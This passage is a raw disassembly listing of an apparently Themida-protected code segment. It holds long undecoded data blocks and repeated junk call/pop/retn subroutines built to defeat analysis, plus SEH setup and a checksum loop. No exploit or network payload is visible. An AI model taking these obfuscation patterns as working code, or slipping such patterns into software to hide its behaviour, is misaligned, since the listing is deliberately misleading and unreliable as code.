141A7195h, 0D8D0106h dd 60061421h, 25518529h, 8D610614h, 17A8FC8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0A00E6D7Ah, 0FFDE8B4Eh, 8A0FD1h, 83000000h, 1412CDBDh dd 850F0106h, 86h, 6880Fh, 810F0000h, 0 ; --------------------------------------------------------------------------- push 2 push 0 push ecx call sub_58E991 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58E991 proc near ; CODE XREF: Themida_:0058E989p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58E991 endp ; --------------------------------------------------------------------------- db 20h, 66h, 0A3h dd 0B68AEB73h, 9D8BBB36h, 614322Dh, 6CABF90h, 0F504465h dd 8Ah, 6A9000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 365C61C3h, 0A78241D1h, 3995FF14h dd 0E8061409h, 0Bh, 7CC6A624h, 0B57D8C0h, 81758D97h, 47D4D7CFh dd 8CE95F3Fh, 0E800000Eh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 6185E29h mov [ebp+6140ED5h], ecx movzx edi, bx lea eax, [ebp+6179623h] push 0 push edx call sub_58EA29 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EA29 proc near ; CODE XREF: Themida_:0058EA21p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 19h inc edx push edx retn sub_58EA29 endp ; --------------------------------------------------------------------------- db 0C8h, 62h, 34h dd 9010A1E8h, 11E850h, 36690000h, 88C9A304h, 7F3FCB19h dd 0BB1B1978h, 0E8556E8Fh, 0Eh, 8856F1F9h, 0AEDC071Ch dd 0FECD07C3h, 5B5257C3h, 89905B5Bh, 141D999Dh, 6850F06h dd 8B000000h, 141905BDh, 35FF6406h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_58EA93 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EA93 proc near ; CODE XREF: Themida_:0058EA8Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 16h inc ecx push ecx retn sub_58EA93 endp ; --------------------------------------------------------------------------- pop ds push eax or [ecx+14221D8Dh], cl push es jmp loc_58EABD ; --------------------------------------------------------------------------- db 0E8h, 6Ah, 0A1h ; --------------------------------------------------------------------------- add bh, [ecx+0Bh] and [edi+7B132679h], eax loc_58EABD: ; CODE XREF: Themida_:0058EAACj mov large fs:0, esp push 0 push ecx call sub_58EACF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EACF proc near ; CODE XREF: Themida_:0058EAC7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 19h inc ecx push ecx retn sub_58EACF endp ; --------------------------------------------------------------------------- mov ah, [esi] scasb movsd pusha xchg eax, esp mov ebx, [ebp+6143209h] inc dword ptr [ebp+614236Dh] push 0 push ecx call sub_58EAFC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58EAFC proc near ; CODE XREF: Themida_:0058EAF4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58EAFC endp ; --------------------------------------------------------------------------- dd 320E0FF2h, 0B8B8F71Dh, 2D9D8B13h, 6A061423h, 1B5FFFFh dd 6A061416h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 8268C350h, 68E0F88h, 89000000h dd 14346D85h, 8E906h, 95E00000h, 820BC4EBh, 95FF9F99h dd 6142B19h, 13BE9h, 6870F00h, 81000000h, 6C1EFDC7h, 0F00B044h dd 58Dh, 0AD99BB00h, 70E62DD3h, 0F1815060h, 34998DA4h dd 798D8B58h, 61061425h, 1B618D31h, 71E40614h, 830F613Ch dd 100h, 2711BB66h, 9C8B60Fh, 1425319Dh, 6BA06h, 0BD030000h dd 61416A5h, 0F60C18Bh, 685h, 6D858B00h, 8B061420h, 14103195h dd 0E8C16106h, 0DA8B6604h, 0E9E2F766h, 0Ah, 59637B06h dd 0A7280485h, 0BD89651Ah, 614211Dh, 0D18BC82Bh, 15C9BD89h dd 6E90614h, 81000000h, 6AE8C6D3h, 1D858B59h, 0E906140Eh dd 9, 3BCAA122h, 2E8BB10Fh, 7C08341h, 58E0Fh, 81660000h dd 83E5F8C3h, 8B6600C0h, 0FD03BDAh, 0E83h, 56BF6600h, 66E950h dd 81660000h, 8BD11BF3h, 141B758Dh, 0B58D0906h, 60061401h dd 0A8D0Fh, 5E90000h, 4E000000h, 65519434h, 20B1958Bh dd 83610614h, 840F01E1h, 34h, 369B589h, 0A5830614h, 6141B75h dd 8D0FFEh, 89000000h, 140E1D95h, 0BE8F906h, 11000000h dd 27E7DC0Eh, 1F7FFC32h, 0BF66E5DFh, 0E95BD3B5h, 0 ; --------------------------------------------------------------------------- lea esi, [ebp+617DA9Fh] push 0 loc_58ECA8: ; CODE XREF: Themida_:0058ECD8j push edx call sub_58ECB1 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ECB1 proc near ; CODE XREF: Themida_:0058ECA9p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_58ECB1 endp ; --------------------------------------------------------------------------- mov ah, 21h pop edx imul ch jnz loc_58ECD2 mov [ebp+6140431h], ebx loc_58ECD2: ; CODE XREF: Themida_:0058ECC6j jmp loc_58ECE3 ; --------------------------------------------------------------------------- db 0F6h ; --------------------------------------------------------------------------- loopne loc_58ECA8 retf ; --------------------------------------------------------------------------- db 6Ah ; --------------------------------------------------------------------------- and ah, bh popf imul edi, [esi+3], -77h loc_58ECE3: ; CODE XREF: Themida_:loc_58ECD2j push 0 mov [ebp+6142B39h], edx call dword ptr [ebp+6141169h] jmp loc_58ED03 ; --------------------------------------------------------------------------- dw 4097h dd 23FFD95Bh, 6986E564h db 0E8h, 9Ch, 96h ; --------------------------------------------------------------------------- loc_58ED03: ; CODE XREF: Themida_:0058ECF1j mov ecx, 85Eh jbe loc_58ED24 jmp loc_58ED24 ; --------------------------------------------------------------------------- db 0C8h dd 275809CDh, 90C004DDh, 0D3E35F8Bh, 0F22F124Ch ; --------------------------------------------------------------------------- loc_58ED24: ; CODE XREF: Themida_:0058ED08j ; Themida_:0058ED0Ej and ecx, 0FFFFFFFCh push 0 push eax call sub_58ED32 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ED32 proc near ; CODE XREF: Themida_:0058ED2Ap arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_58ED32 endp ; --------------------------------------------------------------------------- pop ecx mov dword ptr [esi-64h], 15D05994h mov edi, [ebp+6140F3Dh] cld mov edi, eax mov eax, 0 push 0 push ecx call sub_58ED63 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ED63 proc near ; CODE XREF: Themida_:0058ED5Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_58ED63 endp ; --------------------------------------------------------------------------- cmc aas stc fisttp word ptr [ebx+141C9D9Dh] push es jmp loc_58ED8C ; --------------------------------------------------------------------------- dw 0B21Eh dd 9814573Bh, 5C291AE3h ; --------------------------------------------------------------------------- loc_58ED8C: ; CODE XREF: Themida_:0058ED7Dj mov edx, 0 push 0 push esi call sub_58ED9C and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ED9C proc near ; CODE XREF: Themida_:0058ED94p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_58ED9C endp ; --------------------------------------------------------------------------- dd 0C89915E9h, 0BA29160h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 9FC35646h dd 3BC38166h, 0E870F39h, 60000000h, 5E9h, 0F2ABE200h, 46B0ED8Eh dd 880D61h, 9D8B0000h, 61420CDh, 3229958Bh, 0EF810614h dd 73154467h, 64D8D8Bh, 6A0614h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 0B501AEC3h, 6142ED1h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0CFA0D5C3h, 20640012h, 15B19501h, 6A0614h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0E20997C3h dd 28A5663Ah, 0CE97Eh, 0C9970000h, 8E68D494h, 0CCF2516Bh dd 0BD83E5CDh, 61429ADh, 39840F00h, 89000000h, 141A018Dh dd 0B806h, 0EF810000h, 682DF937h, 4D798D8Dh, 8F0F0614h dd 3, 0FFDF8B66h, 8E8E1h, 87350000h, 0F655E58Dh, 8B66C6D6h dd 0BD8B5FD8h, 61401D5h, 2671BD83h, 0F000614h, 45484h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0D9BD2302h, 8306140Bh, 142671BDh, 840F0106h dd 440h, 30359D0Bh, 0BF0F0614h, 71BD83FFh, 3061426h, 3F4860Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 8CB620C3h, 2FDAF3AEh, 6A604DEAh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0B423C351h, 0BB66F83Ah, 8C66D3A5h, 4E180D9h, 9E8h, 0E2EB4B00h dd 0C7B42ED4h, 0BF666A3Bh, 0A5FBF2Bh, 56840FC9h, 0F000001h dd 18Ch, 858BFC00h, 6141969h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 19C35040h, 80415F39h, 1B818533h dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 0E94EBEC3h, 0Eh, 4A6FEBB6h, 4BF4414Bh, 760AE3Bh dd 8950EB40h, 6A2404h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 0EAC35242h, 8E22FBB9h, 8B21545Dh, 14346DBDh dd 800F6006h, 6, 1AE5850Bh, 13E90614h, 74000000h, 5416AAEFh dd 0F2DA7CE0h, 2E132B47h, 0DB8E98F9h, 686144CCh, 0DB666B53h dd 9882BB66h, 0AC240481h, 6A24B898h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 35CEC353h dd 8B15F094h, 140D69BDh, 0AD95FF06h, 0F061409h, 8589DAB7h dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 4BC35141h, 27A5FFh, 67CCCC63h, 9E9h, 209F700h dd 0CD87F5D1h, 0CFE90D7Eh, 6A000001h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0B050C353h dd 0EDA9F1BBh, 90858B12h, 0BF0617AAh, 5ECCD2E0h, 1800C7h dd 66530000h, 8B5FDA8Bh, 17AA94B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0CE83FABh dd 0BB000000h, 27C2F04Bh, 0D932F227h, 890E5FC0h, 140D69BDh dd 858B5F06h, 6140B29h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0BFC35646h, 9D8BA924h, 6140E29h, 0B1858B60h dd 0F061429h, 18Ch, 8961FC00h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 2CB8CBC4h dd 44FE144Dh, 9D8B33C2h, 6140EE1h, 1969858Bh, 8D890614h dd 6142E69h, 6A044689h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0E792C355h, 23FE2D4Dh dd 0D9259B15h, 0ABF78166h, 525050ECh, 0C7DBBB66h, 5BBB310Fh dd 5A57AF29h, 24348958h, 25BDBD8Bh, 0B5FF0614h, 617AA90h dd 0A498D89h, 0F4680614h, 81382836h, 350B2434h, 1FBF3837h dd 8D0729EDh, 17AA9885h, 12E95006h, 0AF000000h, 7F720B54h dd 9871C5F5h, 151B896h, 9D519C99h, 24048925h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 61C35343h, 7E9ACh dd 0B8DA0000h, 7D7EBD85h, 1AEB80F0h, 52D38166h, 0AD95FFECh dd 6A061409h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 83BC350h, 1DF81138h, 9509A135h dd 6141521h, 24D1BD8Bh, 66610614h, 0C78343BBh, 14267185h dd 306h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 159A5EA4h, 866F578Ch, 0AA98BD83h dd 0F000617h, 4984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 9D89110Bh, 6140791h, 3CE9h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 4E39761Ch, 30501193h, 4400110Ch, 0E8C10111h dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h dd 11043001h, 7504E983h, 8B00EBE7h, 57006AC0h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0AF091AC3h dd 49636BD0h, 9D31027Fh, 6142675h, 0FDB50150h, 5F06140Ah dd 2671BD83h, 0F030614h, 4B585h, 838FB700h, 17AA98BDh dd 840F0006h, 4A6h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 6FC35646h, 85BD8B0Ah, 0FF061430h, 17AA98B5h dd 28C0F06h, 8B000000h, 0F595FFDFh, 6A06142Ah, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h dd 9566C352h, 391AD311h, 799D8B1Ah, 8B061406h, 17AA8CB5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h dd 0C3534300h, 0FEFF3E57h, 9E8EB1Dh, 0AB000000h, 1D31A8ECh dd 2DBE5474h, 12E9h, 0D9A59100h, 0CA01B051h, 98EF721Bh dd 0AC0999B4h, 5B9CB39Fh, 106C7h, 6A0001h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 996795C3h dd 0EE95650h, 14000000h, 0A0FE583Ah, 91040CDEh, 0FF107D5Eh dd 505F5F90h, 34896160h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1704h, 0C3564600h, 426C8F29h, 24459501h dd 0B5FF0614h, 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 0A6C35141h, 18521FDCh, 0B3195FFh, 0FA8B0614h dd 0AA8CB58Bh, 9D8B0617h, 6140A2Dh, 21D5858Bh, 3600614h dd 1424BDB5h, 61D88B06h, 0C48689h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 8277EEC3h dd 0E9924BCDh, 0Bh, 0C0802570h, 10C602BCh, 8B84EFAEh, 14322995h dd 0A58D8906h, 83061425h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0CFCE9CC3h, 41B74BD0h dd 9D8BCCA8h, 614234Dh, 226D8D09h, 50890614h, 858DF520h dd 617BE06h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8CC35747h dd 1EBB66DDh, 0B8868950h, 29000000h, 1405F195h, 89006A06h dd 141A5D8Dh, 0BE666006h, 0C681D5D0h, 0B2915E7h, 98B5FF61h dd 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0B83C357h, 141995BDh, 3995FF06h dd 6A061409h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1B042444h, 45000000h, 2910C355h, 0A9B4686Ah, 0CF805777h dd 34895089h, 53006A24h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0FBCF7F2Ch, 0E6E65F68h, 0FE9CFh dd 58C60000h, 171D12BAh, 0A28C0A0Eh, 53A13DB8h, 89BD3195h dd 0FF061425h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 325F5423h dd 15A830C4h, 0A9BBB4D2h, 666AC923h, 9B71F781h, 20F595FFh dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h dd 56460000h, 0D439CCC3h, 7DE6B4FFh, 6DE490BFh, 83D98B74h dd 140C21BDh, 840F0006h, 50h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0A2C35343h, 89FA8B66h, 1431958Dh dd 52509606h, 310FDC8Ah, 6870Fh, 52500000h, 585A310Fh dd 0E950585Ah, 9, 0B4854999h, 6A873CF4h, 0BD899606h, 61425BDh dd 0AA98B5FFh, 6A0617h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1A0424h, 57470000h, 0FC79DDC3h, 223DEBECh, 20B96660h dd 59B58BA3h, 6106140Fh, 2B195FFh, 0BB660614h, 0B5FF9385h dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 10C35141h, 812647C7h, 0A862F4B2h, 8195FF57h, 6A061430h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 0C23EC352h, 0A704AAF5h, 0F5BD83F6h, 2061409h dd 66840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0F98B58C3h, 1D698589h, 858B0614h dd 6142D01h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 36C35242h, 89C1EB80h, 1400899Dh, 0C606h, 0FE9h dd 0B2CD9300h, 0F4D0908h, 6E49C093h, 6F56BE2Fh, 244D85C7h dd 614h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 0C074CC3h, 1C758531h, 0A0E90614h dd 0E9FFFFF2h, 5, 0CA9805FCh, 57C18BDCh, 8ED9589h byte_58F88C db 14h, 6, 5Fh ; DATA XREF: Themida_:00548FB0o byte_58F88F db 8Dh ; DATA XREF: Themida_:005492C8o ; Themida_:0054AD64o dd 140F9985h, 90FB8B06h, 52505250h, 0A4DEBF66h, 11E9310Fh dd 0C2000000h, 0A60E3BEBh, 0E100B598h, 55DF4FA1h, 0FECB52D8h dd 310F585Ah, 607ABB66h, 0E850585Ah, 10h, 611F01DFh, 0F8DE134h dd 3B7FF8D3h, 0A4797562h, 48F2BB66h, 6A905Bh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 0C6D6F6C3h dd 14F12ACh, 140A2985h, 6A006A06h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0EAF4C355h dd 89006A44h, 141159B5h, 0EA858D06h, 6006186Eh, 12E9h dd 3ABD2900h, 0DDEF7D57h, 5C1B1CDCh, 6CA522B0h, 5004D410h dd 615FDC8Ah, 35DBD03h, 0C0830614h, 0C5BD8B05h, 50061416h dd 6A240489h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 7F16C356h, 0BF0F5489h, 6A006AFBh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 4660C356h, 8B6607D7h, 6A006AD9h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0BAFBC353h, 31B1F5D3h, 9E98E9C4h, 9D9D8B57h, 5B061419h dd 6880Fh, 0BD8B0000h, 6141C39h, 1A7195FFh, 6A0614h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0B70F79C3h, 0FC8D8DFFh, 660617A8h, 0D1FFDE8Bh, 2A41BD8Bh dd 0BD830614h, 61412CDh, 0A2850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 494AC353h, 67AE5D0h, 70AB3802h, 0C19D8Bh, 0EF800614h dd 6A026A9Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 422C352h, 0BD8B225Fh, 6142601h dd 0EE990h, 56C20000h, 0B895075Bh, 0A205AEC6h, 5AB2F7F7h dd 0DE8B6650h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1704h, 0C3554500h, 0B9719414h, 789BD01h dd 95FF0614h, 6140939h, 3850Fh, 8B660000h, 0D93E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_58FACE: ; DATA XREF: Themida_:0054B890o call $+5 pop ebp sub ebp, 6186EF4h push 0 push edx call sub_58FAE5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FAE5 proc near ; CODE XREF: Themida_:0058FADDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_58FAE5 endp ; --------------------------------------------------------------------------- db 0EFh, 0D2h, 36h dd 5216F03Fh, 0B509A189h, 6142579h, 10E8h, 841C1700h, 6C31FD3h dd 0C40500F9h, 0BB8F4E7Dh, 85896083h, 6142CB1h, 823C1EBFh dd 8D5B6130h, 17962385h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1B04h, 0C3564600h, 1C94F107h, 0D40BA653h dd 2B67BB66h, 820F50h, 89000000h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 7F057DC3h dd 304B7BEEh, 35FF6409h, 0 ; --------------------------------------------------------------------------- push 0 push ecx call sub_58FB93 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FB93 proc near ; CODE XREF: Themida_:0058FB8Bp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_58FB93 endp ; --------------------------------------------------------------------------- aam 77h sbb [edx+139C53D2h], bh mov [eax+218D9D8Bh], esp adc al, 6 mov edi, [ebp+6140B3Dh] mov large fs:0, esp push 0 push ecx call sub_58FBCB and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FBCB proc near ; CODE XREF: Themida_:0058FBC3p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58FBCB endp ; --------------------------------------------------------------------------- db 0E6h ; --------------------------------------------------------------------------- add esi, ecx mov eax, 0CFC593E2h popa and edi, [ebp+6140F6Dh] mov edi, [ebp+6142F29h] inc dword ptr [ebp+614236Dh] push 0 push esi call sub_58FC01 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FC01 proc near ; CODE XREF: Themida_:0058FBF9p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Dh inc esi push esi retn sub_58FC01 endp ; --------------------------------------------------------------------------- mov ah, 78h jz short loc_58FC16 cmpsb loc_58FC16: ; CODE XREF: Themida_:0058FC13j sbb [ecx], ecx sub al, 4Ch mov ch, 66h mov ebx, edx push 0FFFFFFFFh push 0 push esi call sub_58FC2B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FC2B proc near ; CODE XREF: Themida_:0058FC23p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_58FC2B endp ; --------------------------------------------------------------------------- mov ds:77C54B2Eh, dh mov ds:91B5FF92h, eax db 2Eh adc al, 6 push 0 push edi call sub_58FC54 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FC54 proc near ; CODE XREF: Themida_:0058FC4Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_58FC54 endp ; --------------------------------------------------------------------------- dd 66138B04h, 0FFFAE8BBh, 142B1995h, 15BE906h, 89560000h dd 14322D9Dh, 0B05B06h, 0F499D23h, 70E60614h, 5AE1EF81h dd 9589650Bh, 6140229h, 0BD2971E4h, 6141C89h, 830F613Ch dd 12Dh, 2A018589h, 0B60F0614h, 959D8BC8h, 0E906140Bh dd 0Dh, 0DA8D81Bh, 883B5D1Fh, 41B2DCCBh, 6BA1Dh, 840F0000h dd 6, 0AA1C781h, 810F48A1h, 6, 79C5CF81h, 0C18B1CA8h, 0E804E8C1h dd 10h, 0B561EE85h, 0ED4F1F2Fh, 77F89B82h, 58E5BEDCh, 4890Fh dd 0BF660000h, 665FB862h, 7E9E2F7h, 0B2000000h, 45BD8207h dd 0C82B1D87h, 2BCB8166h, 8BD18BF3h, 1424919Dh, 0FE906h dd 0AE90000h, 5B000000h, 8682862Ch, 5C8CAC88h, 0D5858B73h dd 83061408h, 0D38107C0h, 1EF20635h, 0E900C083h, 0Fh, 7795D43Fh dd 0B6F09F73h, 0D2C29D5Ch, 3B03294Bh, 2D830FD0h, 31000000h dd 140B1185h, 0BB666006h, 0CE9B7A7h, 96000000h, 1376664Dh dd 23A279CBh, 61F55E99h, 48E9h, 19D8900h, 0BB061421h, 6C884E68h dd 5318D8Bh, 0A0B30614h, 0F01E183h, 2C84h, 0A583FC00h dd 6140531h, 8E9FEh, 0B4B80000h, 134DC579h, 9589AAC8h dd 61408D5h, 23E1B589h, 9D8B0614h, 6142429h, 0E9h, 98B58D00h dd 6A0617E4h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 19042444h, 46000000h, 0FAD2C356h, 67FB1CBCh, 0AE8h dd 0BA7BF00h, 80EA18C7h, 0FCADD61Fh, 8B006A5Fh, 142C71BDh dd 0F8BF0F06h, 116995FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 0B2D189C3h, 2CB9F224h dd 6A000008h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 16042444h, 45000000h, 0AED9C355h, 0FE8B6656h, 60FCE183h dd 3810Fh, 8B660000h, 9D0961D9h, 6142C21h, 56006AFCh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0AF94DAB6h, 0E9F275F5h, 0Fh, 3312889Ch, 88F68F53h, 0E2820ABCh dd 0B83D5F85h, 0 ; --------------------------------------------------------------------------- sub [ebp+6143069h], edx mov edx, 0 add bh, 49h loc_58FEBE: ; CODE XREF: Themida_:0058FEC8j lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_58FEBE push 0 push ecx call sub_58FED5 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FED5 proc near ; CODE XREF: Themida_:0058FECDp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 17h inc ecx push ecx retn sub_58FED5 endp ; --------------------------------------------------------------------------- push 0F3A2395h add dword ptr [edx], 51000000h pop ebx jmp loc_58FEFB ; --------------------------------------------------------------------------- dw 4A54h db 0A2h, 0D6h, 0CAh ; --------------------------------------------------------------------------- loc_58FEFB: ; CODE XREF: Themida_:0058FEF1j or eax, 88h xor ebx, 4826A39Dh mov edx, [ebp+6143229h] push 0 push eax call sub_58FF17 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58FF17 proc near ; CODE XREF: Themida_:0058FF0Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 19h inc eax push eax retn sub_58FF17 endp ; --------------------------------------------------------------------------- db 73h dd 5CB6F09Fh, 4D8D8B9Dh, 6A061406h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 99B9C351h dd 0A5DE2B64h, 0E91F3710h, 5, 0D2F9981Ah, 0C28B50D0h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 1F20C350h dd 8D89F1B6h, 6140789h, 29ADBD83h, 0F000614h, 6C84h, 0C5B58900h dd 3061404h, 142C19BDh, 0B806h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 82B6FEC3h dd 0D6DEEAD6h, 8B523D1Eh, 1408E9BDh, 8D8D5F06h, 6144D79h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 88C35141h dd 0A436C9B9h, 29E1FFE1h, 142675BDh, 71BD8306h, 61426h dd 386840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0C8811CC3h, 8B669AF8h, 71BD83DEh dd 1061426h, 371840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1C0424h, 52420000h, 0E042A1C3h, 0E1436F5Ah dd 11E9A042h, 34000000h, 0B450DB32h, 0A577B7D1h, 0E863BCAFh dd 0FD5ADEC6h, 2671BD83h, 0F030614h, 2F486h, 0C1858900h dd 60061400h, 9EE38166h, 0D3816609h, 8C66DB90h, 0CB8166D9h dd 8C0FAF6Fh, 8, 2D9D8952h, 5B061411h, 6A04E180h, 3E85700h dd 20000000h, 